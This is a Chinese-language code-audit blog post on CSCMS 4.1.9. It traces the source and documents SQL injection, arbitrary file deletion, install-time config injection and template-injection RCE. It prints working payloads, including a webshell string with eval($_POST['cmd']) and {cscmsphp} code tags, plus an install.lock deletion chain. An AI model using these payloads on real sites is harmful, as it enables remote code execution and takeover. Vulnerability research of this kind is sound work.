CSCMS程式碼審計

2022-06-19 18:01:08

很久之前審的了。

文章首發於奇安信攻防社群
https://forum.butian.net/share/1626

0x00 前言

CSCMS是一款強大的多功能內容管理系統,採用php5+mysql進行開發,運用OOP(物件導向)方式進行框架搭建。CSCMS用CodeIgniter框架作為核心開發,基於MVC模式,使程式執行的速度和伺服器得到很好的優化,使web平臺擁有良好的相容性和穩定性。

本文所用到的cscms版本是4.1.9, CI 框架版本為 3.1.3

0x01 全域性分析

安裝就不說了,phpstudy 存取install.php 點點點就好了。

目錄結構:

組態檔在/upload/cscms/config目錄下

index.php

為了弄清cscms的流程,來跟蹤一下index.php的執行流程。

index.php是cscms的前臺入口檔案

<?php
/**
 * @Cscms 4.x open source management system
 * @copyright 2008-2015 chshcms.com. All rights reserved.
 * @Author:Cheng Kai Jie
 * @Dtime:2017-03-10
 */
//預設時區
date_default_timezone_set("Asia/Shanghai");
//應用環境,TRUE 開啟報錯,FALSE關閉報錯
define('ENVIRONMENT',false);
//路徑分隔符
define('FGF', DIRECTORY_SEPARATOR);//DIRECTORY_SEPARATOR => / or \
//核心路徑設定
$cs_folder = 'cscms/config';
//環境報錯設定
if(ENVIRONMENT == TRUE){
	error_reporting(-1);
	ini_set('display_errors', 1);
}else{
	ini_set('display_errors', 0);
	if (version_compare(PHP_VERSION, '5.3', '>=')){
		error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
	}else{
		error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
	}
}
//路徑常數設定
if(!defined('SELF')){
	define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
}
if(!defined('FCPATH')){
	define('FCPATH', dirname(__FILE__).FGF);  //dirname(__FILE__)取得當前檔案所在的絕對目錄
}
//CSCMS路徑檢測
if(is_dir($cs_folder)){
	if (($_temp = realpath($cs_folder)) !== FALSE){
		$cs_folder = $_temp.FGF;
	}else{
		$cs_folder = strtr(rtrim($cs_folder, '/\\'),'/\\',FGF.FGF).FGF;
	}
}else{
	header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
	echo 'The kernel configuration directory is incorrect.';exit;
}
define('CSCMS', $cs_folder);
define('CSPATH', FCPATH.'cscms'.FGF);
define('CSCMSPATH', FCPATH.'packs'.FGF);
//當前執行URI
define('REQUEST_URI', str_replace(array(SELF,'//'),array('','/'),$_SERVER['REQUEST_URI']));
require_once CSCMS.'sys/Cs_Cscms.php';

定義了一些環境變數和路徑常數,在一旁記錄一下,方便之後查詢:

FCPATH : 當前檔案所在的絕對路徑,這裡是 C:\Users\yokan\Desktop\cmcms\upload\index.php
CSCMS :   cscms/config
CSPATH :   C:\Users\yokan\Desktop\cmcms\upload\cscms\
CSCMSPATH :    C:\Users\yokan\Desktop\cmcms\upload\packs\

#$cs_folder = 'cscms/config';
#define('CSCMS', $cs_folder);
#define('CSPATH', FCPATH.'cscms'.FGF);
#define('CSCMSPATH', FCPATH.'packs'.FGF);

最後引入了Cs_Cscms.php檔案,又定義了一些常數,以及存取主頁的渲染:

$sys_folder = 'cscms/system';
$app_folder = 'cscms/app';
$tpl_folder = 'tpl';

define('BASEPATH', $sys_folder);
define('SYSDIR', basename(BASEPATH));
define('APPPATH', $app_folder.FGF);
define('VIEWPATH', $tpl_folder.FGF);
//獲取當前目錄路徑引數
function cscms_cur_url() { 
    if(!empty($_SERVER["REQUEST_URI"])){ 
        $scrtName = $_SERVER["REQUEST_URI"]; 
        $nowurl = $scrtName; 
    } else { 
        $scrtName = $_SERVER["PHP_SELF"]; 
        if(empty($_SERVER["QUERY_STRING"])) { 
            $nowurl = $scrtName; 
        } else { 
            $nowurl = $scrtName."?".$_SERVER["QUERY_STRING"]; 
        } 
    } 
	$nowurl=str_replace("//", "/", $nowurl);
    return $nowurl; 
}
//獲取當前URI引數
function cscms_uri($n=0){
	$REQUEST_URI = substr(REQUEST_URI,0,1)=='/' ? substr(REQUEST_URI,1) : REQUEST_URI;
	if(!empty($REQUEST_URI)){
		$arr = explode('/', $REQUEST_URI);
		if(Web_Path != '/'){
			unset($arr[0]);
			$arr = array_merge($arr);
		}
		if(!empty($arr[$n])){
    		return str_replace("/", "", $arr[$n]);
		}
	}
    return '';
}

然後引入CI框架,載入框架的類、常數、函數、安全設定等:

require_once BASEPATH.'core/CodeIgniter.php';

接下來把重點關注在路由上,CodeIgniter.php引入了路由類,Router.php

Router.php

在全域性分析的時候,一定要把路由搞清楚,不然後面很難將程式碼與功能點快速定位

程式碼很多,不用細看,搞懂它的路由規則就可以。

當然,CI官方檔案也有現成的:URI 路由 — CodeIgniter 3.1.5 中文手冊|使用者手冊|使用者指南|中文檔案

URL 中的每一段通常遵循下面的規則:

example.com/class/function/id/

例如這個url

http://192.168.111.141/index.php/dance/playsong

我們很容易定位到dance類下的playsong方法:

admin.php

後臺的跳轉是通過設定標誌位 「IS_ADMIN=TRUE」來實現的:

admin.php:

<?php
/**
 * @Cscms 4.x open source management system
 * @copyright 2008-2015 chshcms.com. All rights reserved.
 * @Author:Cheng Jie
 * @Dtime:2014-08-01
 */
define('IS_ADMIN', TRUE); // 後臺標識
define('ADMINSELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // 後臺檔名
define('SELF', ADMINSELF);
define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // 網站根目錄
require('index.php'); // 引入主檔案

index.php:

require_once CSCMS.'sys/Cs_Cscms.php';

Cs_Cscms.php

0x02 漏洞審計

熟悉完程式碼的大概結構之後,個人還是更喜歡通過敏感函數回溯的方法進行審計

使用 靜態審計和動態偵錯結合進行審計。

靜態原始碼審計系統:rips、seay、Fotify等

動態偵錯:phpstorm+xdebug

SQL隱碼攻擊

upload/plugins/dance/playsong.php檔案下的$zd變數,直接與sql語句拼接進行了查詢操作

回溯一下它是怎麼得到的:

找到get_post函數定義的位置:

在seay中直接右鍵,定位函數即可:

在phpstorm中,可以通過按兩次shift鍵,進行搜尋:

進行CS_input.php,來看一下get_post函數:

執行流程 get_post方法→get方法→fetch_from_array方法

重點來了,下面是_fetch_from_array方法的全部程式碼:

	protected function _fetch_from_array(&$array, $index = NULL, $xss_clean = NULL, $sql_clean = FALSE)
	{
		is_bool($xss_clean) OR $xss_clean = $this->_enable_xss;

		// If $index is NULL, it means that the whole $array is requested
		isset($index) OR $index = array_keys($array);

		// allow fetching multiple keys at once
		if (is_array($index))
		{
			$output = array();
			foreach ($index as $key)
			{
				$output[$key] = $this->_fetch_from_array($array, $key, $xss_clean);
			}

			return $output;
		}

		if (isset($array[$index]))
		{
			$value = $array[$index];    //$_GET[zd]
		}
		elseif (($count = preg_match_all('/(?:^[^\[]+)|\[[^]]*\]/', $index, $matches)) > 1) // Does the index contain array notation
		{
			$value = $array;
			for ($i = 0; $i < $count; $i++)
			{
				$key = trim($matches[0][$i], '[]');
				if ($key === '') // Empty notation will return the value as array
				{
					break;
				}

				if (isset($value[$key]))
				{
					$value = $value[$key];
				}
				else
				{
					return NULL;
				}
			}
		}
		else
		{
			return NULL;
		}
		if($xss_clean === TRUE){
			//CI自帶過濾XSS
			$value = $this->security->xss_clean($value);
			if($sql_clean === TRUE){
				//過濾SQL語句
				$value = safe_replace($value);
			}else{
				//HTML程式碼跳脫
				$value = str_encode($value);
			}
		}
		return $value;
	}
} 

因為前面傳入的引數為:

$zd = $this->input->get_post('zd',TRUE,TRUE);

並且呼叫的是get方法,

所以:

$value=$_GET['zd']   #$value的值即為zd引數通過get方法傳入的內容

不過因為

$sql_clean === TRUE

所以會呼叫safe_replace函數進行過濾,我們看看過濾了些什麼:

還是phpstorm按兩次shift找到它的實現位置:

可以看到,過濾和編碼了一些特殊字元。

$row=$this->db->query("select id,cid,singerid,name,tid,fid,purl,sc,lrc,dhits".$zd." from ".CS_SqlPrefix."dance where id=".$id."")->row();

但是我們不需要引號去閉合,仍然可以構造sql語句去執行:

任意檔案刪除

後臺刪除附件處沒做任何判斷和過濾:

安裝RCE

很多CMS都會存在這種漏洞,不過大多時候利用起來畢竟雞肋,需要重新安裝。

install.php

<?php
/**
 * @Cscms 4.x open source management system
 * @copyright 2008-2018 chshcms.com. All rights reserved.
 * @Author:Cheng Kai Jie
 * @Dtime:2017-03-17
 */
define('IS_INSTALL', TRUE); // 安裝標識
define('ADMINSELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // 檔名
define('SELF', ADMINSELF);
define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // 網站根目錄
$uri = parse_url('http://cscms'.$_SERVER['REQUEST_URI']);
$path = current(explode(SELF, $uri['path']));
define("install_path",$path);
define("install_url",install_path.'install.php/');
require('index.php'); // 引入主檔案

→index.php→Cs_Cscms.php

通過偵錯可以發現,後面的執行流程: install.php->common.php

一步步偵錯發現最後載入/upload/plugins/sys/Install.php

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Install extends Cscms_Controller {

	function __construct(){
		    parent::__construct();
        	$this->load->helper('url');
            $this->load->helper('file');
...........................................
............................................
.......................................
$this->load->helper('string');
$CS_Encryption_Key='cscms_'.random_string('alnum',10);
//修改資料庫組態檔
$config=read_file(CSCMS.'sys'.FGF.'Cs_DB.php');
$config=preg_replace("/'CS_Sqlserver','(.*?)'/","'CS_Sqlserver','".$dbhost."'",$config);
$config=preg_replace("/'CS_Sqlname','(.*?)'/","'CS_Sqlname','".$dbname."'",$config);
$config=preg_replace("/'CS_Sqluid','(.*?)'/","'CS_Sqluid','".$dbuser."'",$config);
$config=preg_replace("/'CS_Sqlpwd','(.*?)'/","'CS_Sqlpwd','".$dbpwd."'",$config);
$config=preg_replace("/'CS_Dbdriver','(.*?)'/","'CS_Dbdriver','".$dbdriver."'",$config);
$config=preg_replace("/'CS_SqlPrefix','(.*?)'/","'CS_SqlPrefix','".$dbprefix."'",$config);
$config=preg_replace("/'CS_Encryption_Key','(.*?)'/","'CS_Encryption_Key','".$CS_Encryption_Key."'",$config);
if(!write_file(CSCMS.'sys'.FGF.'Cs_DB.php', $config)) exit('5');
.............................................
............................................
.........................................

匹配我們輸入的一些資料庫常數的值,沒有過濾,然後寫入Cs_DB.php檔案:

比如資料庫名稱,我們可以直接通過拼接插馬:

cscms');phpinfo();// 
cscms');eval($_POST[‘cmd’]); //

檢視效果:

因為cs_cscms.php中包含了cs_db.php

index.php又包含了Cs_Cscms.php

所以我們在首頁即可觸發:

配合上面的任意檔案刪除漏洞,刪除掉install.lock檔案,然後重新安裝,即可完成RCE

前臺RCE

通過seay的自動審計,定位到Csskins.php的eval函數:

    // php標籤處理
    public function cscms_php($php,$content,$str) {
		$evalstr=" return $content";
		$newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
		return $str;
    }

看一下$content引數是否可以控制。

首先看誰呼叫了這個方法:

seay可以用全文追蹤或者全域性搜尋:

phpstorm可以"Alt+F7"查詢使用:

定位到template_parse方法:

//解析模板
public function template_parse($str,$ts=TRUE,$if=true,$row=array()) {
	if(empty($str)) msg_txt(L('skins_null'));
	//解析頭部、底部、左右分欄
	$str = $this->topandend($str);
	//會員登入框
	$str=str_replace('{cscms:logkuang}',$this->logkuang(),$str);
	//自定義標籤
	$str=$this->cscmsopt($str);
	//解析全域性標籤
	$str=$this->cscms_common($str);
	//資料迴圈
	$str=$this->csskins($str);
	//資料統計標籤
	$str=$this->cscount($str);
	//自定義欄位
	$field = isset($row['cscms_field']) ? $row['cscms_field'] : $row;
	$str=$this->field($str,$field);

	//PHP程式碼解析
	preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
	if(!empty($php_arr[0])){
		for($i=0;$i<count($php_arr[0]);$i++){
		    $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
		}
	}
	unset($php_arr);
    ............................................
    ............................................
    .............................................

關注PHP程式碼解析這塊,通過preg_match_all函數匹配template_parse第一個引數$str的內容,然後呼叫cscmsphp,用eval進行執行。

也就是說「程式會將 {cscmsphp} 標籤中包裹的程式碼當做 PHP 程式碼來執行」

因此,接下來就是全域性搜尋 呼叫template_parse方法的地方,有沒有可以控制的點了:

seay直接全域性搜尋:

phpstorm:ctrl+shift+f

全域性搜尋之後,發現呼叫這個函數的地方有很多,但是我們要做的就是篩選出有漏洞的地方,但是什麼是有漏洞的地方呢,一切輸入都是有害的,所以,最好是能找到與資料庫操作有關的內容,這些應該是我們要找的重點。

$Mark_Text=$this->Csskins->template_parse($Mark_Text,true);

搜尋之後會發現,所有的模板大概都是這樣載入的,於是我們就把重點放在了變數Mark_Text上面

挨個去看

這裡找到Cstpl.php檔案的plub_show方法

對視訊內容的各種標籤進行了解析,然後無過濾的傳入了template_parse函數去執行

然後找到就去尋找誰呼叫了plub_show方法:

好多都可以控制輸入,但是有的經過分析發現進行了過濾。

這裡找到show.php檔案:

這個 檔案頁面是用來播放視訊的。

所以上傳視訊:

(先到後臺,給許可權)

對應的是plugins/vod/user/vod.php檔案: save函數

選填欄位,用的remove_xss進行過濾,但是該函數沒有過濾掉 cscmsphp 模板注入

因此,在上傳視訊的選填欄位,劇情簡介處插入SSTI

{cscmsphp}phpinfo();{/cscmsphp}

然後存取即可觸發:

類似的點還有幾個,感興趣的可以去找找。

後臺RCE1

也是SSTI模板注入,只不過觸發點不同,具體呼叫過程就不分析了,類似的點肯定還有很多。

建立個使用者,設定個人簽名 {cscmsphp}phpinfo(){/cscmsphp}

發現‘cscmsphp’已經被過濾掉了。

登入管理員後臺,會員列表頁面,可以修改會員資訊

http://127.0.0.1/upload/admin.php/user/edit?id=1

寫入payload如上

然後存取如下url,即可觸發

http://127.0.0.1/upload/index.php/justtest/home/info

後臺RCE2

修改模板 插馬

html會以php解析

這裡其實是黑盒測到的:

點點點瀏覽網站功能的時候,發現管理員後臺可以修改會員主頁模板:

而一些php檔案裡直接不加過濾的參照了這些html檔案,造成解析